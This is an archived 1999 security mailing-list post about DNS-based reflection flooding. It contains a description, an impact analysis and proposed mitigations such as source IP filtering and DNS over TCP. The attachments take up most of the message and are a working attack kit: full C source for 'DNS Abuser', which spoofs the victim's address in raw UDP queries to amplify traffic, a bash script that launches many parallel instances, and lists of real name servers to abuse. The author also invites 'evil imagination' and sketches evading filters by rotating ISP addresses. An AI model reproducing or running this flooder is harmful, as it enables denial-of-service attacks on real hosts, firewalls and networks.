Possible Denial Of Service using DNS

From: Carlos Veira (cveiraat_private)
Date: Tue Aug 10 1999 - 08:59:57 PDT

  • Next message: James E. Pace: "Re: user flags in public temp space (was Re: chflags() [heads up"

    This is a multi-part message in MIME format.
    
    ------=_NextPart_000_0018_01BEE35A.297221E0
    Content-Type: text/plain;
    	charset="iso-8859-1"
    Content-Transfer-Encoding: 8bit
    
    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
    
    Hi,
    
    I must admit that I have been really surprised seeing people's
    'reaction'
    on this particular matter. We are used to see really good debates when
    something 'c00l' comes up to the scene... But this time, nothing: no
    code review, no debate about possible solutions, ... :?.
    
    FuSyS & sacco's message, was very interesting indeed. I, honestly,
    don't
    know if this has been known for a long time, despite its simplicity...
    But what really matters is that this is a very hard to close gate...
    
    Looking at the code i realized it was not very useful for auditing
    purposes, so I decided to add some functionality and fix some
    implementation problems which made the source compile but failing to
    work nicely.
    
    
    
    
    I. Description:
    ===============
    
    This is a quick list of what has been added/modified to the original
    code:
    
     1. Ability of managing a variable and different number of name
    servers
        and querys.
     2. Ability of taking input data from text files.
     3. Added some fixes to the flood engine.
     4. Ability of controlling the times to be executed.
     5. Added some 'paralell processing' features.
    
    There still remain some things to be improved, but they are far long
    from
    my original aims when I started this work. I might suggest the
    following
    enhancements:
    
    It's somehow necessary to add some simple memory management. The
    current
    version works with a buffer which can manage MAX_SEVERS entries. There
    are no memory management at all. That means that, when reading a file,
    only the first MAX_SERVERS are considered. If we want to extend this
    to
    larger files this is to be added.
    
    Another improvement would be to enhance the hash function in order to
    get a
    more uniform statistic distribution. This would carry out a better
    'paralell' performance.
    
    This 'paralell' feature trys to query different name servers with
    different
    questions at the same time. Such a thing would avoid some lame filters
    and
    make the attack more distributable among the whole DNS servers.
    
    To work out this feature, the flooder begins in a different point
    depending
    on its PID. Given this situation, one can fork diferent processes from
    de
    command line and each of them will perform a different action in a
    certain
    moment. Of course more complex and efficient solutions could be worked
    out,
    but, once again, they are far long from my initial aims.
    
    As it can be watched, such attack can be as powerful (or even better)
    as
    smurf or fraggle. Think this is more flexible and owns a grater degree
    of
    distribution. Let's put some evil imagination in motion... ;P
    
    
    
    
    II. Impact:
    ===========
    
    First of all, some notes:
    
      1. We are talking about UDP traffic. That means that there's no
         connection.
      2. We also must consider that the victim will recive packets with
         different
         sources (IPs and ports).
      3. We must remember that DNS is a critical service in the Internet:
         almost every service depend on it in a different degree.
      4. DNS can be reached from any place on the Internet: there is no
         restriction.
    
    Let's consider a couple of scenarios. If the target is not shielded by
    a
    firewall, the effect of this attack is obvious: the host is flooded to
    dead. So, what happend in a filtered environment? If the firewall uses
    content inspection techniques, should drop all this traffic (these are
    valid answers but no query has been performed on the protected
    network).
    
    In this case, the affected host will be the firewall. This is even
    more
    worrying than the first case because firewalls are esential devices on
    network conectivity. If the firewall fails, all the network fails
    (from
    a conectivity point of view, of course).
    
    We must remember that a firewall is more vulnerable to this kind of
    overloads. To the *physical* traffic flooding itself, we have to add
    the following :
    
      a. A firewall must perform a rule check for each I/O traffic. That
    means
         some load.
      b. The logging process on the firewall means added load, mainly I/O
    load
         through disk.
    
    An encreasing number of DNS servers means a proportional raise on the
    distribution degree this attack has. So, to bring a big firewall to
    its
    knees we only need to take a grate list of DNS servers.
    
    The obvious side effect of such situation is a traffic overload on the
    network segments on the way to the target. Using network switches
    would
    help to limit this annoying side effect.
    
    
    
    III. Possible solutions:
    ========================
    
    a.  Source IP filtering & Bandwith control:
        ---------------------------------------
    
        a.1 Source IP filtering:
    
        This may be one the most effective measures. By giving this type
    of
        rule to routers, we *limit* the IP spoofing possibilities: such
    rule
        would only allow traffic to pass over a network interface if the
        source IP belongs to a valid range on that interface.
    
    
        a.2 Bandwith control:
    
        Giving an I/O rate to DNS traffic could *help* too. This would
    stop a
        flood based on a few DNS servers been queried intensively.
        Nevertheless, it is not very useful to the target network when
    hitted
        by a highly distributed DNS flood. The reasons are the same ones
    given
        in the case of the firewall. In this case the damaged system would
    be
        the router itself.
    
    
        a.3 Problems:
    
        Source IP filtering it's great but it needs to be implemented on
    every
        routing device on the Internet. If there's a place wich allows IP
        spoofing, the risk remains there.
    
        Unfortunately, IP filtering could not be necessary on some cases.
    Let's
        see: besides the flooding effect, we get a global network
    overload. If
        we also consider that today it's pretty common having more than
    one PPP
        Internet access... So, we've got it...
    
        So it seems easy to log into an ISP perform the attack using a
    valid
        ISP IP as the source, then disconnect and log in again with other
    ISP
        while the other is being nuked by thousands of DNS servers on the
        Internet...
    
        The success on the choice of the valid ISP IP address depends on
    the
        ISP network architecture and its *internal* filters.
    
    
    
    b. DNS over TCP:
       -------------
    
       This may be *THE* solution. TCP architecture would make
    'impossible' to
       achieve a successful query to a DNS server. Let's see:
    
          1. A connection is to be completed in order to perform a query.
          2. There exists connection control.
    
       On the 'best' case the target would be SYN+ACK flooded by thousands
    of
       name servers on the Internet. But now we are not *amplifying* the
       traffic because no query response is given at all.
    
       But, is this a real possibility? Well reading the RFCs, the answer
    is
       "YES, BUT...". Let's see:
    
       * RFC1034 ("DOMAIN NAMES - CONCEPTS AND FACILITIES") says:
    
         "In the Internet, queries are carried in UDP datagrams or over
          TCP connections."
    
       * RFC1035 ("DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION") says:
    
         "The DNS assumes that messages will be transmitted as datagrams
    or in
          a byte stream carried by a virtual circuit.  While virtual
    circuits
          can be used for any DNS activity, datagrams are preferred for
    queries
          due to their lower overhead and better performance.  Zone
    refresh
          activities must use virtual circuits because of the need for
    reliable
          transfer."
    
       So it seems that DNS querys can use TCP. BUT what we need is the
    server
       FORCING the use of TCP. It *seems* we could force this by editing
    the
        file "/etc/services" and commenting or deleting the UDP entry:
    
       whois           43/tcp          nicname         # usually to
    sri-nic
       domain          53/tcp
    >  #domain          53/udp
       mtp             57/tcp                          # deprecated
    
       This way, both the *local* name server and *local* resolver would
    use
       TCP on its domain name related tasks... This means that *local*
    querys
       would work over TCP.
    
       The problem comes up, when an standard remote client querys a
       'TCP-forced' system. What happens when such a client starts an UDP
       query to a TCP service? Is it able to detect it and restart the
    process
       using TCP?
    
       Unfortunately, I could not found any kind of information on this
    matter.
       It seems to me that this is an unspecified case. It seems that UDP
    & TCP
       are treated as separete worlds... I think that, in the best case,
    this
       will depend on vendor implementation, and not as an standard
    behaviour.
    
    
       b.1 Problems:
    
       Carrying DNS completely over TCP has serious load and performance
       problems. They are important enough to consider them with the
    suitable
       calm.
    
       Besides that, we have de UDP/TCP interoperation problem mentioned
       before. This would imply reconfiguring or patching all the DNS
    servers
       *and clients* in the world, among other things... So it 'seems'
    that it
       is not practical approach. ;P
    
       Perhaps, It may be interesting a review or a new generation of the
       standard. I, honestly, ignore if this it's being done. Anyway,
    given
       what we have today it's *the* long term solution, isn't it? ;P.
    
       In the meanwhile, we are vulnerable: the open systems world, not
    always
       is perfect... ;P
    
    
    
    ====================
    Carlos Veira Lorenzo
         -=o0o0o=-
     Servicios Internet
     Airtel Móvil S.A.
    ====================
    -----BEGIN PGP SIGNATURE-----
    Version: PGP 6.0.2
    
    iQA/AwUBN7A+aEj/CaVXSZKlEQKIOACdF74Y7bo4BSrEL6Fw9z+EMwEziSgAnRpu
    QlIZlBhOGgaz/TnUFTn/PzHn
    =qc06
    -----END PGP SIGNATURE-----
    
    ------=_NextPart_000_0018_01BEE35A.297221E0
    Content-Type: application/octet-stream;
    	name="dnsabuser.c"
    Content-Transfer-Encoding: quoted-printable
    Content-Disposition: attachment;
    	filename="dnsabuser.c"
    
    /*
     * DNS Abuser v0.4b
     *
     * Author: Nemo (cveiraat_private)
     * http://www.deepzone.org
     *
     * This code is a little enhancement based on DOOMDNS by FuSyS & =
    |scacco|
     * http://www.www.s0ftpj.org
     *
     * Usage: dnsa <target>
     *        dnsa <target> <times> [<dns_servers.txt> <querys.txt>]
     *
     */
    =20
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <arpa/nameser.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <netdb.h>
    #include <time.h>
    
    #define  IP_HEAD_BASE		20
    #define  UDP_HEAD_BASE		8
    #define  DEF_TIMES		1000
    #define  DNS_QSIZE		255
    #define  MAX_QUERYS		25			// maximum buffer size
    #define  MAX_SERVERS		25			// maximum buffer size
    #define  CNAME_LENGTH		255			// max CNAME length
    #define  DEF_DOMAINS		"./domains.txt"		// domain list file
    #define  DEF_QUERYS		"./querys.txt"		// query list file
    
    
    struct 	 DNS_MSG {
    	 HEADER head;
    	 char   query[DNS_QSIZE];
    };
    
    struct 	 dns_pkt {
    	 struct iphdr  ip;
    	 struct udphdr udp;
     	 char   data[1000];
    };
    
    struct   domain_buff {
    	 int  used;
    	 char cname[CNAME_LENGTH];
    };
    
    
    typedef  struct domain_buff tdbuff;
    tdbuff   dnsquery[MAX_QUERYS];
    tdbuff   domains[MAX_SERVERS];
    unsigned long saddr;
    int      sd, dptr, qptr;				// socket & array pointers
    FILE     *dd, *qd;					// file pointers
    
    
    
    int startptr(tdbuff *buff, int buff_limit)		// hash function
    {
       int init =3D 0;
      =20
       init =3D getpid() % buff_limit;
      =20
       while (!buff[init].used)
       {
          if (++init > buff_limit) init =3D 0;
       }
      =20
       return init;
    }
    
    void rst_buff(tdbuff *b, int max)
    {
       memset(b, 0, sizeof(tdbuff)*max);
    }
    
    void readln(FILE *f, tdbuff *buff)
    {
       int eol  =3D 0,
           i    =3D 0;
       tdbuff   b;
      =20
       rst_buff(&b, 1);
    
       do
       {
          b.cname[i] =3D fgetc(f);
         =20
          if (!ferror(f))
          {
             if (!feof(f))
             {      =09
                if (b.cname[i] =3D=3D '\n')
                {
                   b.cname[i]  =3D '\0';
          	       b.used      =3D 1;
          	       eol             =3D 1;
                }
                else if ((i+1) >=3D CNAME_LENGTH)
                {
                   fprintf(stderr, "\nInvalid CNAME or invalid file format. =
    Quitting...\n");
                   exit(7);
                }
                else
                {
                   i++;
                }
             }
             else
             {
                if (b.cname[i] =3D=3D '\n')
                {
                   b.cname[i]  =3D '\0';
          	       b.used      =3D 1;
          	    }          =20
             }
          }
          else
          {
             fprintf(stderr, "\nRead error. Quitting...\n");
             exit(6);
          }
       }
       while ((!ferror(f) && !feof(f)) && !eol);
      =20
       if (!ferror(f) && !feof(f)) *buff =3D b;
    }
    
    unsigned long nameResolve(char *hostname)
    {
      struct in_addr addr;
      struct hostent *hostEnt;
    
      if ((inet_aton(hostname, &addr)) =3D=3D 0)=20
      {
        if (!(hostEnt=3Dgethostbyname(hostname)))
        {
           fprintf(stderr,"\nTarget '%s' does not exist\n",hostname);
           exit(0);
        }
        bcopy(hostEnt->h_name,(char *)&addr.s_addr,hostEnt->h_length);
      }
      return addr.s_addr;
    }
    
    void forge (unsigned long daddr, unsigned short psrc, unsigned short =
    pdst)
    {
       struct sockaddr_in sin;
       struct dns_pkt     dpk;
       struct DNS_MSG     killer;
       int                shoot, len;
    
    
       // adjust pointer ...
       if (qptr < MAX_QUERYS)
       {
          if(!dnsquery[dptr].used) qptr++;
       }
       else
       {
          qptr =3D 0;
       }
       dnsquery[qptr].used =3D 1;
      =20
    
       // build packets ...
       memset(&killer, 0, sizeof(killer));
    =09
       killer.head.id      =3D getpid();
       killer.head.rd      =3D 1;
       killer.head.aa      =3D 0;
       killer.head.opcode  =3D QUERY;
       killer.head.qr      =3D 0;
       killer.head.qdcount =3D htons(1);
       killer.head.ancount =3D htons(0);
       killer.head.nscount =3D htons(0);
       killer.head.arcount =3D htons(0);
    
       strcat(killer.query, dnsquery[qptr].cname);
       killer.query[strlen(dnsquery[qptr].cname) + 2] =3D 0x00FF;
       killer.query[strlen(dnsquery[qptr].cname) + 4] =3D 0x0001;
    
       memset(&dpk, 0, sizeof(dpk));
    
       dpk.udp.source =3D psrc;
       dpk.udp.dest   =3D pdst;
       len            =3D (12 + strlen(killer.query) + 5);
       dpk.udp.len    =3D htons(UDP_HEAD_BASE + len);
    
       memcpy(dpk.data, (void*)&killer, len);
       dpk.ip.ihl      =3D 5;
       dpk.ip.version  =3D 4;
       dpk.ip.tos      =3D 0;
       dpk.ip.tot_len  =3D htons(IP_HEAD_BASE+UDP_HEAD_BASE+len);
       dpk.ip.frag_off =3D 0;
       dpk.ip.ttl      =3D 64;
       dpk.ip.protocol =3D IPPROTO_UDP;
       dpk.ip.saddr    =3D saddr;
       dpk.ip.daddr    =3D daddr;
    
       memset(&sin, 0, sizeof(sin));
    =09
       sin.sin_family      =3D AF_INET;
       sin.sin_port        =3D pdst;
       sin.sin_addr.s_addr =3D daddr;
    
       shoot =3D sendto(sd                                  ,
                      &dpk                                ,
                      (IP_HEAD_BASE + UDP_HEAD_BASE + len),
                      0                                   ,
                      (struct sockaddr *)&sin             ,
                      sizeof(sin)
                     );
                         =20
       if (shoot < 0) fprintf(stderr, "SPOOF ERROR");
    }
    
    void doomzone (void)
    {
       unsigned long  daddr;
       unsigned short psrc, pdest;
      =20
       // adjust pointer ...  =20
       if (dptr < MAX_SERVERS)
       {
          if(!domains[dptr].used) dptr++;
       }
       else
       {
          dptr =3D 0;
       }
       domains[dptr].used =3D 1;
      =20
       daddr =3D nameResolve(domains[dptr].cname);
    =09
       psrc  =3D htons(1024 + (rand()%2000));
       pdest =3D htons(53);
    =09
       forge(daddr, psrc, pdest);
    }
    
    int main (int argc, char *argv[])
    {
       int          i, sd_opt, code;
       unsigned int times =3D DEF_TIMES;
    
       printf("\n\n\033[1;32mDNS Abuser v0.4b\033[0m");
       printf("\n\033[1;34mDNS-based flooder by Nemo - =
    http://www.deepzone.org\033[0m");
       printf("\n\033[1;34mBased on FuSyS & |scacco| work: D00MDNS - =
    http://www.s0ftpj.org\033[0m\n");
    =09
    =09
       // ->simple<- parameter checking :P
       if (argc < 2)
       {
          fprintf(stderr, "\nUsage: %s <target>", argv[0]);
          fprintf(stderr, "\n       %s <target> <times> [<dns_servers.txt> =
    <querys.txt>]\n\n", argv[0]);
          exit(0);
       }
    
       saddr =3D nameResolve(argv[1]);
       if (argc > 2) times  =3D atoi(argv[2]);
      =20
       // loading files
       if (argc > 3)
       {
          if ((dd =3D fopen(argv[4], "r")) =3D=3D NULL)
          {
             fprintf(stderr, "\nCannot open domain file. Quitting...\n");
             exit(4);
          }
      =20
          if ((qd =3D fopen(argv[5], "r")) =3D=3D NULL)
          {
             fprintf(stderr, "\nCannot open query file. Quitting...\n");
             exit(5);
          }
       }
       else
       {
          if((dd =3D fopen(DEF_DOMAINS, "r")) =3D=3D NULL)
          {
             fprintf(stderr, "\nCannot open domain file. Quitting...\n");
             exit(4);
          }
      =20
          if((qd =3D fopen(DEF_QUERYS, "r")) =3D=3D NULL)
          {
             fprintf(stderr, "\nCannot open query file. Quitting...\n");
             exit(5);
          }
       }
    
       rst_buff(domains, MAX_SERVERS);
       rst_buff(dnsquery, MAX_QUERYS);
      =20
       i =3D 0;
       do
       {
          readln(dd, &domains[i]);
          i++;
       }
       while ((i < MAX_SERVERS) && !feof(dd));
    
       i =3D 0;
       do
       {
          readln(qd, &dnsquery[i]);
          i++;
       }
       while ((i < MAX_QUERYS) && !feof(qd));
      =20
      =20
       // opening sockets ...
       srand(time(NULL));
       sd_opt =3D 1;
      =20
       if ((sd =3D socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
       {
          fprintf(stderr, "\nSocket error. Quitting...\n");
          exit(2);
       }
          =20
       if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &sd_opt, sizeof(sd_opt)) < =
    0)
       {
          fprintf(stderr, "\nIP Error. Quitting...\n");
          exit(3);
       }
    =20
    
       dptr =3D startptr(domains, MAX_SERVERS);
       qptr =3D startptr(dnsquery, MAX_QUERYS);
       =09
       // flooding engine
       printf("\n\033[1;34mFlooding %s:\033[0m\n", argv[1]);
       while(times--)
       {
          doomzone();
          printf("\033[1;34m.\033[0m");
       }
       =09
       printf("\n\n");
      =20
       fclose(dd);
       fclose(qd);
      =20
       return(0);
    }
    
    ------=_NextPart_000_0018_01BEE35A.297221E0
    Content-Type: application/octet-stream;
    	name="xn.sh"
    Content-Transfer-Encoding: 7bit
    Content-Disposition: attachment;
    	filename="xn.sh"
    
    #!/bin/bash
    #
    # xNuke v0.1b - *nix DoS amplifier
    #
    # Author: Nemo (Nemoat_private)
    # DeepZone Digital Security - http://www.deepzone.org
    #
    # Usage: xn <instances> <app> <target> [other_parameters]
    #
    
    echo
    echo "xNuke v0.1b - *nix DoS amplifier."
    echo
    
    n=$1
    
    while [ -n "$n" ]; do
       $2 $3 $4 $5 $6 > /dev/null &
    
       n=n-1
    done
    
    ------=_NextPart_000_0018_01BEE35A.297221E0
    Content-Type: text/plain;
    	name="querys.txt"
    Content-Transfer-Encoding: 7bit
    Content-Disposition: attachment;
    	filename="querys.txt"
    
    www.microsoft.com
    www.novell.com
    www.nrg.be
    www.ldg.be
    www.mir.es
    www.hispasec.com
    www.securityfocus.com
    www.geocities.com
    www.tripod.com
    www.hypermart.net
    ------=_NextPart_000_0018_01BEE35A.297221E0
    Content-Type: text/plain;
    	name="domains.txt"
    Content-Transfer-Encoding: 7bit
    Content-Disposition: attachment;
    	filename="domains.txt"
    
    ns1.allinfosys.com
    ns2.allinfosys.com
    ns.uu.net
    dns.ncsa.es
    dns2.ncsa.es
    ------=_NextPart_000_0018_01BEE35A.297221E0--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:55:53 PDT